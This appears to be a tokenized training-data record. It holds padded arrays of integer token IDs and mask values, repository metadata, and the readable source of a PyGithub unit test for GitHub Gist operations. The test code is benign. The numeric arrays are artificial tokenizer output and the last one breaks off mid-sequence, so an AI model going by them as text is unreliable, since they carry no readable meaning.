32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
381,
199,
3,
1898,
6900,
428,
10562,
16378,
12126,
2476,
3322,
327,
199,
3,
6208,
3515,
327,
199,
3,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
3515,
327,
199,
3,
1265,
1443,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
260,
327,
199,
3,
2047,
1443,
3332,
282,
1331,
402,
314,
844,
737,
22456,
327,
199,
3,
6208,
3515,
327,
199,
3,
259,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
14960,
327,
199,
3,
6208,
3515,
327,
199,
3,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
420,
327,
199,
3,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
263,
327,
199,
3,
2428,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
327,
199,
3,
1666,
314,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
420,
327,
199,
3,
4204,
1334,
314,
844,
14,
2476,
3698,
327,
199,
3949,
381,
199,
504,
24868,
1353,
270,
14,
1018,
14,
1095,
63,
16135,
492,
3523,
16073,
199,
504,
19481,
14,
2330,
14,
3924,
492,
12878,
1726,
199,
199,
504,
6497,
14,
1606,
492,
10331,
199,
199,
3472,
63,
16428,
1206,
63,
4961,
275,
378,
14,
21,
199,
3472,
63,
8899,
275,
5661,
421,
199,
533,
10331,
1831,
19757,
8,
1563,
16073,
304,
339,
347,
636,
826,
721,
277,
12,
2653,
304,
267,
3523,
16073,
855,
826,
721,
277,
9,
267,
291,
14,
2593,
275,
2653,
267,
291,
14,
17154,
275,
6186,
63,
16428,
1206,
63,
4961,
267,
291,
14,
1606,
63,
354,
275,
488,
339,
347,
485,
6742,
8,
277,
12,
2034,
304,
267,
291,
14,
1606,
63,
354,
275,
2034,
14,
354,
267,
340,
1228,
8,
1606,
12,
10331,
304,
288,
862,
26,
355,
2034,
14,
2573,
63,
8111,
63,
4591,
8,
277,
14,
2593,
12,
291,
14,
17154,
9,
355,
372,
715,
288,
871,
12878,
1726,
26,
355,
372,
756,
339,
347,
13743,
63,
475,
8,
277,
12,
1369,
304,
267,
1369,
14,
740,
63,
505,
480,
6964,
2034,
469,
16,
93,
370,
2248,
4453,
469,
17,
93,
6605,
1674,
908,
8,
277,
14,
1606,
63,
354,
12,
620,
8,
277,
14,
2593,
1724,
339,
347,
13743,
63,
20759,
8,
277,
12,
1242,
12,
15015,
63,
1802,
304,
288,
15015,
63,
1802,
14,
740,
63,
505,
360,
1606,
2248,
18590,
734,
2659,
339,
347,
543,
63,
2593,
8,
277,
12,
2653,
304,
267,
291,
14,
2593,
275,
2653,
267,
372,
291,
339,
347,
543,
63,
17154,
8,
277,
12,
12353,
304,
267,
291,
14,
17154,
275,
12353,
267,
372,
291,
421,
199,
318,
365,
63,
4591,
8,
2593,
29,
1216,
304,
272,
372,
10331,
1831,
19757,
8,
2593,
9,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
gylian/sickrage
|
lib/github/tests/Gist.py
|
39
|
6592
|
# -*- coding: utf-8 -*-
# ########################## Copyrights and license ############################
# #
# Copyright 2012 Vincent Jacques <vincent@vincent-jacques.net> #
# Copyright 2012 Zearin <zearin@gonk.net> #
# Copyright 2013 Vincent Jacques <vincent@vincent-jacques.net> #
# #
# This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #
# #
# PyGithub is free software: you can redistribute it and/or modify it under #
# the terms of the GNU Lesser General Public License as published by the Free #
# Software Foundation, either version 3 of the License, or (at your option) #
# any later version. #
# #
# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY #
# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS #
# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more #
# details. #
# #
# You should have received a copy of the GNU Lesser General Public License #
# along with PyGithub. If not, see <http://www.gnu.org/licenses/>. #
# #
# ##############################################################################
import Framework
import github
import datetime
class Gist(Framework.TestCase):
def testAttributes(self):
gist = self.g.get_gist("6296732")
self.assertEqual(gist.comments, 0)
self.assertEqual(gist.created_at, datetime.datetime(2013, 8, 21, 16, 28, 24))
self.assertEqual(gist.description, "Github API")
self.assertEqual(gist.files.keys(), ["GithubAPI.lua"])
self.assertEqual(gist.files["GithubAPI.lua"].size, 21229)
self.assertEqual(gist.files["GithubAPI.lua"].filename, "GithubAPI.lua")
self.assertEqual(gist.files["GithubAPI.lua"].language, "Lua")
self.assertEqual(gist.files["GithubAPI.lua"].content[:10], "-- GithubA")
self.assertEqual(gist.files["GithubAPI.lua"].raw_url, "https://gist.githubusercontent.com/jacquev6/6296732/raw/88aafa25fb28e17013054a117354a37f0d78963c/GithubAPI.lua")
self.assertEqual(gist.forks, [])
self.assertEqual(gist.git_pull_url, "https://gist.github.com/6296732.git")
self.assertEqual(gist.git_push_url, "https://gist.github.com/6296732.git")
self.assertEqual(len(gist.history), 1)
self.assertEqual(gist.history[0].change_status.additions, 793)
self.assertEqual(gist.history[0].change_status.deletions, 0)
self.assertEqual(gist.history[0].change_status.total, 793)
self.assertEqual(gist.history[0].committed_at, datetime.datetime(2013, 8, 21, 16, 12, 27))
self.assertEqual(gist.history[0].url, "https://api.github.com/gists/6296732/c464aecd7fea16684e935607eeea7ae4f8caa0e2")
self.assertEqual(gist.history[0].user, None)
self.assertEqual(gist.history[0].owner.login, "jacquev6")
self.assertEqual(gist.history[0].version, "c464aecd7fea16684e935607eeea7ae4f8caa0e2")
self.assertEqual(gist.html_url, "https://gist.github.com/6296732")
self.assertEqual(gist.id, "6296732")
self.assertTrue(gist.public)
self.assertEqual(gist.updated_at, datetime.datetime(2013, 8, 21, 16, 28, 24))
self.assertEqual(gist.url, "https://api.github.com/gists/6296732")
self.assertEqual(gist.user, None)
self.assertEqual(gist.owner.login, "jacquev6")
self.assertEqual(gist.git_pull_url, "https://gist.github.com/6296732.git")
self.assertEqual(gist.git_push_url, "https://gist.github.com/6296732.git")
self.assertEqual(gist.html_url, "https://gist.github.com/6296732")
self.assertEqual(gist.url, "https://api.github.com/gists/6296732")
def testEditWithoutParameters(self):
gist = self.g.get_gist("2729810")
gist.edit()
self.assertEqual(gist.description, "Gist created by PyGithub")
self.assertEqual(gist.updated_at, datetime.datetime(2012, 5, 19, 7, 0, 58))
def testEditWithAllParameters(self):
gist = self.g.get_gist("2729810")
gist.edit("Description edited by PyGithub", {"barbaz.txt": github.InputFileContent("File also created by PyGithub")})
self.assertEqual(gist.description, "Description edited by PyGithub")
self.assertEqual(gist.updated_at, datetime.datetime(2012, 5, 19, 7, 6, 10))
self.assertEqual(set(gist.files.keys()), set(["foobar.txt", "barbaz.txt"]))
def testDeleteFile(self):
gist = self.g.get_gist("5339374")
self.assertEqual(sorted(gist.files.keys()), ["bar.txt", "foo.txt"])
gist.edit(files={"foo.txt": None})
self.assertEqual(gist.files.keys(), ["bar.txt"])
def testRenameFile(self):
gist = self.g.get_gist("5339374")
self.assertEqual(gist.files.keys(), ["bar.txt"])
gist.edit(files={"bar.txt": github.InputFileContent(gist.files["bar.txt"].content, new_name="baz.txt")})
self.assertEqual(gist.files.keys(), ["baz.txt"])
def testCreateComment(self):
gist = self.g.get_gist("2729810")
comment = gist.create_comment("Comment created by PyGithub")
self.assertEqual(comment.id, 323629)
def testGetComments(self):
gist = self.g.get_gist("2729810")
self.assertListKeyEqual(gist.get_comments(), lambda c: c.id, [323637])
def testStarring(self):
gist = self.g.get_gist("2729810")
self.assertFalse(gist.is_starred())
gist.set_starred()
self.assertTrue(gist.is_starred())
gist.reset_starred()
self.assertFalse(gist.is_starred())
def testFork(self):
gist = self.g.get_gist("6296553") # Random gist
myGist = gist.create_fork()
self.assertEqual(myGist.id, "6296732")
self.assertEqual(myGist.fork_of, None) # WTF
sameGist = self.g.get_gist("6296732")
self.assertEqual(sameGist.fork_of.id, "6296553")
def testDelete(self):
gist = self.g.get_gist("2729810")
gist.delete()
|
gpl-3.0
|
[
3,
1882,
2803,
26,
2774,
13,
24,
1882,
199,
199,
3,
11945,
309,
1898,
83,
436,
4190,
11945,
381,
199,
3,
26209,
327,
199,
3,
1898,
6029,
28882,
2946,
1603,
645,
19658,
665,
11908,
2946,
32,
11908,
2946,
13,
9299,
19658,
14,
846,
30,
463,
327,
199,
3,
1898,
6029,
3107,
2210,
262,
665,
806,
285,
262,
32,
27719,
75,
14,
846,
30,
32543,
327,
199,
3,
1898,
6171,
28882,
2946,
1603,
645,
19658,
665,
11908,
2946,
32,
11908,
2946,
13,
9299,
19658,
14,
846,
30,
463,
327,
199,
3,
26209,
327,
199,
3,
961,
570,
365,
1777,
402,
1611,
14772,
14,
1455,
921,
9299,
544,
86,
22,
14,
5031,
14,
957,
15,
2713,
14772,
15,
3515,
327,
199,
3,
26209,
327,
199,
3,
1611,
14772,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
652,
1334,
259,
327,
199,
3,
314,
2895,
402,
314,
1664,
6401,
1696,
1684,
844,
465,
3267,
701,
314,
2868,
221,
327,
199,
3,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
844,
12,
503,
334,
292,
2195,
945,
9,
259,
327,
199,
3,
1263,
2945,
1015,
14,
2476,
13235,
327,
199,
3,
26209,
327,
199,
3,
1611,
14772,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
1325,
2428,
1821,
221,
327,
199,
3,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
3169,
503,
3092,
259,
327,
199,
3,
2381,
437,
3115,
3104,
14,
1666,
314,
1664,
6401,
1696,
1684,
844,
367,
1655,
327,
199,
3,
2436,
14,
6208,
258,
327,
199,
3,
26209,
327,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
6401,
1696,
1684,
844,
258,
327,
199,
3,
3180,
543,
1611,
14772,
14,
982,
440,
12,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
3777,
327,
199,
3,
26209,
327,
199,
3,
221,
4605,
199,
199,
646,
22545,
199,
199,
646,
12869,
199,
646,
2197,
421,
199,
533,
598,
631,
8,
16442,
14,
1746,
304,
272,
347,
511,
5379,
8,
277,
304,
267,
486,
631,
275,
291,
14,
71,
14,
362,
63,
71,
631,
480,
29151,
1822,
708,
531,
267,
291,
14,
629,
8,
71,
631,
14,
6223,
12,
378,
9,
267,
291,
14,
629,
8,
71,
631,
14,
3966,
63,
292,
12,
2197,
14,
2083,
8,
6965,
12,
1695,
12,
7829,
12,
3193,
12,
7294,
12,
5504,
430,
267,
291,
14,
629,
8,
71,
631,
14,
1802,
12,
298,
14772,
3261,
531,
267,
291,
14,
629,
8,
71,
631,
14,
1725,
14,
1612,
1062,
2097,
14772,
3735,
14,
76,
1458,
3135,
267,
291,
14,
629,
8,
71,
631,
14,
1725,
905,
14772,
3735,
14,
76,
1458,
4140,
890,
12,
29532,
1398,
9,
267,
291,
14,
629,
8,
71,
631,
14,
1725,
905,
14772,
3735,
14,
76,
1458,
4140,
1501,
12,
298,
14772,
3735,
14,
76,
1458,
531,
267,
291,
14,
629,
8,
71,
631,
14,
1725,
905,
14772,
3735,
14,
76,
1458,
4140,
3671,
12,
298,
44,
1458,
531,
267,
291,
14,
629,
8,
71,
631,
14,
1725,
905,
14772,
3735,
14,
76,
1458,
4140,
1317,
1491,
709,
467,
4320,
598,
4049,
33,
531,
267,
291,
14,
629,
8,
71,
631,
14,
1725,
905,
14772,
3735,
14,
76,
1458,
4140,
1773,
63,
633,
12,
298,
2859,
921,
71,
631,
14,
5031,
751,
1317,
14,
957,
15,
9299,
544,
86,
22,
15,
29151,
1822,
708,
15,
1773,
15,
1299,
2158,
667,
821,
4675,
1651,
69,
1196,
614,
1216,
1477,
65,
7362,
12967,
65,
1401,
70,
16,
68,
24407,
2766,
67,
15,
14772,
3735,
14,
76,
1458,
531,
267,
291,
14,
629,
8,
71,
631,
14,
509,
6080,
12,
3073,
267,
291,
14,
629,
8,
71,
631,
14,
3187,
63,
9302,
63,
633,
12,
298,
2859,
921,
71,
631,
14,
5031,
14,
957,
15,
29151,
1822,
708,
14,
3187,
531,
267,
291,
14,
629,
8,
71,
631,
14,
3187,
63,
5335,
63,
633,
12,
298,
2859,
921,
71,
631,
14,
5031,
14,
957,
15,
29151,
1822,
708,
14,
3187,
531,
267,
291,
14,
629,
8,
552,
8,
71,
631,
14,
5570,
395,
413,
9,
267,
291,
14,
629,
8,
71,
631,
14,
5570,
59,
16,
1055,
1461,
63,
1205,
14,
350,
3138,
12,
1520,
3129,
9,
267,
291,
14,
629,
8,
71,
631,
14,
5570,
59,
16,
1055,
1461,
63,
1205,
14,
7346,
852,
12,
378,
9,
267,
291,
14,
629,
8,
71,
631,
14,
5570,
59,
16,
1055,
1461,
63,
1205,
14,
2923,
12,
1520,
3129,
9,
267,
291,
14,
629,
8,
71,
631,
14,
5570,
59,
16,
1055,
20300,
63,
292,
12,
2197,
14,
2083,
8,
6965,
12,
1695,
12,
7829,
12,
3193,
12,
3144,
12,
8087,
430,
267,
291,
14,
629,
8,
71,
631,
14,
5570,
59,
16,
1055,
633,
12,
298,
2859,
921,
1246,
14,
5031,
14,
957,
15,
71,
1670,
15,
29151,
1822,
708,
15,
67,
26887,
65,
30441,
23,
29838,
10642,
1349,
69,
25,
13251,
1780,
1024,
4489,
23,
3624,
20,
70,
24,
32350,
16,
69,
18,
531,
267,
291,
14,
629,
8,
71,
631,
14,
5570,
59,
16,
1055,
751,
12,
488,
9,
267,
291,
14,
629,
8,
71,
631,
14,
5570,
59,
16,
1055,
4597,
14,
2886,
12,
298,
9299,
544,
86,
22,
531,
267,
291,
14,
629,
8,
71,
631,
14,
5570,
59,
16,
1055,
1023,
12,
298,
67,
26887,
65,
30441,
23,
29838,
10642,
1349,
69,
25,
13251,
1780,
1024,
4489,
23,
3624,
20,
70,
24,
32350,
16,
69,
18,
531,
267,
291,
14,
629,
8,
71,
631,
14,
1360,
63,
633,
12,
298,
2859,
921,
71,
631,
14,
5031,
14,
957,
15,
29151,
1822,
708,
531,
267,
291,
14,
629,
8,
71,
631,
14,
344,
12,
298,
29151,
1822,
708,
531,
267,
291,
14,
1815,
8,
71,
631,
14,
3455,
9,
267,
291,
14,
629,
8,
71,
631,
14,
5334,
63,
292,
12,
2197,
14,
2083,
8,
6965,
12,
1695,
12,
7829,
12,
3193,
12,
7294,
12,
5504,
430,
267,
291,
14,
629,
8,
71,
631,
14,
633,
12,
298,
2859,
921,
1246,
14,
5031,
14,
957,
15,
71,
1670,
15,
29151,
1822,
708,
531,
267,
291,
14,
629,
8,
71,
631,
14,
751,
12,
488,
9,
267,
291,
14,
629,
8,
71
] |
[
1882,
2803,
26,
2774,
13,
24,
1882,
199,
199,
3,
11945,
309,
1898,
83,
436,
4190,
11945,
381,
199,
3,
26209,
327,
199,
3,
1898,
6029,
28882,
2946,
1603,
645,
19658,
665,
11908,
2946,
32,
11908,
2946,
13,
9299,
19658,
14,
846,
30,
463,
327,
199,
3,
1898,
6029,
3107,
2210,
262,
665,
806,
285,
262,
32,
27719,
75,
14,
846,
30,
32543,
327,
199,
3,
1898,
6171,
28882,
2946,
1603,
645,
19658,
665,
11908,
2946,
32,
11908,
2946,
13,
9299,
19658,
14,
846,
30,
463,
327,
199,
3,
26209,
327,
199,
3,
961,
570,
365,
1777,
402,
1611,
14772,
14,
1455,
921,
9299,
544,
86,
22,
14,
5031,
14,
957,
15,
2713,
14772,
15,
3515,
327,
199,
3,
26209,
327,
199,
3,
1611,
14772,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
652,
1334,
259,
327,
199,
3,
314,
2895,
402,
314,
1664,
6401,
1696,
1684,
844,
465,
3267,
701,
314,
2868,
221,
327,
199,
3,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
844,
12,
503,
334,
292,
2195,
945,
9,
259,
327,
199,
3,
1263,
2945,
1015,
14,
2476,
13235,
327,
199,
3,
26209,
327,
199,
3,
1611,
14772,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
1325,
2428,
1821,
221,
327,
199,
3,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
3169,
503,
3092,
259,
327,
199,
3,
2381,
437,
3115,
3104,
14,
1666,
314,
1664,
6401,
1696,
1684,
844,
367,
1655,
327,
199,
3,
2436,
14,
6208,
258,
327,
199,
3,
26209,
327,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
6401,
1696,
1684,
844,
258,
327,
199,
3,
3180,
543,
1611,
14772,
14,
982,
440,
12,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
3777,
327,
199,
3,
26209,
327,
199,
3,
221,
4605,
199,
199,
646,
22545,
199,
199,
646,
12869,
199,
646,
2197,
421,
199,
533,
598,
631,
8,
16442,
14,
1746,
304,
272,
347,
511,
5379,
8,
277,
304,
267,
486,
631,
275,
291,
14,
71,
14,
362,
63,
71,
631,
480,
29151,
1822,
708,
531,
267,
291,
14,
629,
8,
71,
631,
14,
6223,
12,
378,
9,
267,
291,
14,
629,
8,
71,
631,
14,
3966,
63,
292,
12,
2197,
14,
2083,
8,
6965,
12,
1695,
12,
7829,
12,
3193,
12,
7294,
12,
5504,
430,
267,
291,
14,
629,
8,
71,
631,
14,
1802,
12,
298,
14772,
3261,
531,
267,
291,
14,
629,
8,
71,
631,
14,
1725,
14,
1612,
1062,
2097,
14772,
3735,
14,
76,
1458,
3135,
267,
291,
14,
629,
8,
71,
631,
14,
1725,
905,
14772,
3735,
14,
76,
1458,
4140,
890,
12,
29532,
1398,
9,
267,
291,
14,
629,
8,
71,
631,
14,
1725,
905,
14772,
3735,
14,
76,
1458,
4140,
1501,
12,
298,
14772,
3735,
14,
76,
1458,
531,
267,
291,
14,
629,
8,
71,
631,
14,
1725,
905,
14772,
3735,
14,
76,
1458,
4140,
3671,
12,
298,
44,
1458,
531,
267,
291,
14,
629,
8,
71,
631,
14,
1725,
905,
14772,
3735,
14,
76,
1458,
4140,
1317,
1491,
709,
467,
4320,
598,
4049,
33,
531,
267,
291,
14,
629,
8,
71,
631,
14,
1725,
905,
14772,
3735,
14,
76,
1458,
4140,
1773,
63,
633,
12,
298,
2859,
921,
71,
631,
14,
5031,
751,
1317,
14,
957,
15,
9299,
544,
86,
22,
15,
29151,
1822,
708,
15,
1773,
15,
1299,
2158,
667,
821,
4675,
1651,
69,
1196,
614,
1216,
1477,
65,
7362,
12967,
65,
1401,
70,
16,
68,
24407,
2766,
67,
15,
14772,
3735,
14,
76,
1458,
531,
267,
291,
14,
629,
8,
71,
631,
14,
509,
6080,
12,
3073,
267,
291,
14,
629,
8,
71,
631,
14,
3187,
63,
9302,
63,
633,
12,
298,
2859,
921,
71,
631,
14,
5031,
14,
957,
15,
29151,
1822,
708,
14,
3187,
531,
267,
291,
14,
629,
8,
71,
631,
14,
3187,
63,
5335,
63,
633,
12,
298,
2859,
921,
71,
631,
14,
5031,
14,
957,
15,
29151,
1822,
708,
14,
3187,
531,
267,
291,
14,
629,
8,
552,
8,
71,
631,
14,
5570,
395,
413,
9,
267,
291,
14,
629,
8,
71,
631,
14,
5570,
59,
16,
1055,
1461,
63,
1205,
14,
350,
3138,
12,
1520,
3129,
9,
267,
291,
14,
629,
8,
71,
631,
14,
5570,
59,
16,
1055,
1461,
63,
1205,
14,
7346,
852,
12,
378,
9,
267,
291,
14,
629,
8,
71,
631,
14,
5570,
59,
16,
1055,
1461,
63,
1205,
14,
2923,
12,
1520,
3129,
9,
267,
291,
14,
629,
8,
71,
631,
14,
5570,
59,
16,
1055,
20300,
63,
292,
12,
2197,
14,
2083,
8,
6965,
12,
1695,
12,
7829,
12,
3193,
12,
3144,
12,
8087,
430,
267,
291,
14,
629,
8,
71,
631,
14,
5570,
59,
16,
1055,
633,
12,
298,
2859,
921,
1246,
14,
5031,
14,
957,
15,
71,
1670,
15,
29151,
1822,
708,
15,
67,
26887,
65,
30441,
23,
29838,
10642,
1349,
69,
25,
13251,
1780,
1024,
4489,
23,
3624,
20,
70,
24,
32350,
16,
69,
18,
531,
267,
291,
14,
629,
8,
71,
631,
14,
5570,
59,
16,
1055,
751,
12,
488,
9,
267,
291,
14,
629,
8,
71,
631,
14,
5570,
59,
16,
1055,
4597,
14,
2886,
12,
298,
